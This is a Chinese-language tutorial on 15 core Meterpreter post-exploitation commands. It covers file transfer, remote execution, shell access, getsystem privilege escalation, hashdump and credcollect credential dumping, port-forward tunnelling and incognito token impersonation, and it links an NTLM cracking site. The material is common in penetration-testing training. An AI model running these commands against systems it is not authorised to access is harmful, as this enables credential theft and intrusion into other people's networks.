meterpreter必知必會的15個(gè)命令
meterpreter是一種高級、隱蔽、多層面的且可動(dòng)態(tài)擴(kuò)展的payload,可以將反射dll注入到目標(biāo)主機(jī)的內(nèi)存中,還可以在運(yùn)行時(shí)動(dòng)態(tài)加載腳本和插件來進(jìn)行后滲透利用。
包括提權(quán)、轉(zhuǎn)存系統(tǒng)賬號、鍵盤記錄、持久后門服務(wù)、啟用遠(yuǎn)程桌面等,還有很多其他的擴(kuò)展。而且,meterpreter shell的整個(gè)通信都是默認(rèn)加密的。
因?yàn)閙eterpreter提供的是一個(gè)全新的環(huán)境,所以我們本文來講解一些必備的meterpreter命令,帶你入門并且逐漸熟悉這款強(qiáng)大的工具。
命令1:上傳文件到Windows主機(jī)
簡單來說,你可以上傳本機(jī)的任意文件到遠(yuǎn)程目標(biāo)主機(jī)中。
命令:
- upload <file> <destination>
注意:使用-r參數(shù)可以遞歸上傳上傳目錄和文件
命令2:從windows主機(jī)下載文件
download命令可以下載遠(yuǎn)程主機(jī)上的文件
命令:
- download <file> <path to save>
注意:Windows路徑要使用雙斜線
如果我們需要遞歸下載整個(gè)目錄包括子目錄和文件,我們可以使用download -r命令
命令3:在目標(biāo)主機(jī)上執(zhí)行exe文件
我們也可以使用execute命令在目標(biāo)主機(jī)上執(zhí)行應(yīng)用程序
語法也非常簡單
命令:
- execute -f <path> [options]
命令4:創(chuàng)建CMD新通道
如果你想在目標(biāo)主機(jī)上執(zhí)行命令提示符,你可以使用下列命令:
命令:
- execute -f cmd -c
命令5:顯示進(jìn)程
ps命令會顯示目標(biāo)主機(jī)上所有正在運(yùn)行的進(jìn)程
命令:
- ps
命令6:獲取目標(biāo)主機(jī)的cmd shell
shell命令可以進(jìn)入目標(biāo)主機(jī)的cmd
命令:
- shell
命令7:獲取admin權(quán)限
getsystem命令可以提權(quán)到本地系統(tǒng)權(quán)限
命令:
- getsystem
命令8:使用Hashdump轉(zhuǎn)儲所有hash值
我們可以使用meterpreter shell來dump目標(biāo)主機(jī)的當(dāng)前系統(tǒng)賬戶和密碼。轉(zhuǎn)儲的內(nèi)容是NTML哈希格式,網(wǎng)上有很多工具和技巧來破解它們。
NTLM在線破解:https://hashkiller.co.uk/ntlm-decrypter.aspx
命令:
- hashdump
輸出的每一行內(nèi)容格式如下
- Username:SID:LM hash:NTLM hash:::
如圖所示
本次執(zhí)行輸出了5個(gè)用戶賬號,分別是Administrator,Guest,HelpAssistant,Owner and SUPPORT_388945a0
命令9:使用Credcollect轉(zhuǎn)儲hash值
還有一個(gè)類似的腳本叫credential_collector,也可以收集目標(biāo)主機(jī)的tokens
命令:
- run credcollect
命令10:創(chuàng)建端口轉(zhuǎn)發(fā)
meterpreter shell中的portfwd命令是轉(zhuǎn)發(fā)技術(shù)中最常用的一個(gè)命令,可以讓攻擊系統(tǒng)訪問本來無法直接訪問的目標(biāo)主機(jī)。
add選項(xiàng)會將端口轉(zhuǎn)發(fā)添加到列表中,而且本質(zhì)上會創(chuàng)建一個(gè)隧道。
請注意:這個(gè)隧道存在于meterpreter控制臺之外,任何終端會話都可以使用。
命令:
- portfwd add -l <portnumber> -r <Target IP>
命令11:刪除端口轉(zhuǎn)發(fā)
跟創(chuàng)建端口轉(zhuǎn)發(fā)命令類似,這條命令是刪除一條端口轉(zhuǎn)發(fā)記錄
命令:
- portfwd delete -l <portnumber> -p <portnumber> -r <Target IP>
如果你想顯示所有端口轉(zhuǎn)發(fā)記錄,你可以使用portfwd list命令,如果你想刪除所有的記錄,可以使用portfwd flush命令
命令12:在目標(biāo)主機(jī)上搜索文件
搜索命令可以來定位查找目標(biāo)主機(jī)上的特定文件。這個(gè)命令可以搜索整個(gè)文件系統(tǒng),也可以搜索特定的文件夾。
例如,如果你想搜索目標(biāo)主機(jī)上的所有txt文件,可以使用下列命令:
命令:
- search -f *.txt
命令13:獲取用戶ID
getuid命令會顯示主機(jī)上運(yùn)行meterpreter 服務(wù)的用戶
命令:
- getuid
命令14:獲取系統(tǒng)信息
sysinfo命令會顯示系統(tǒng)名,操作系統(tǒng),架構(gòu)和語言等。
命令:
- sysinfo
命令15:模擬任意用戶(token操作)
這個(gè)進(jìn)程對于攻擊像微軟活動(dòng)目錄這樣的分布式系統(tǒng)非常有幫助,因?yàn)樵谖④浕顒?dòng)目錄中,本地訪問權(quán)限并沒多大用,但是如果能搞到憑證尤其是管理員憑證,那就非常有用了。
incognito最開始是一個(gè)獨(dú)立的應(yīng)用,當(dāng)你成功入侵系統(tǒng)后可以用它來模擬用戶tokens。這個(gè)應(yīng)用后來集成到了metasploit,并且最終集成到了meterpreter中,使用如下:
- 在meterpreter會話中加載這個(gè)模塊非常簡單,只要輸入 use incognito命令即可
- 輸入list_tokens -u來顯示所有有效的tokens
- 然后我們需要模擬某個(gè)token來獲取其權(quán)限。還有注意,如果成功模擬了一個(gè)token,我們可以使用getuid命令來檢查當(dāng)前用戶ID
- use incognito
- list_tokens -u
- impersonate_token “Machine\\user”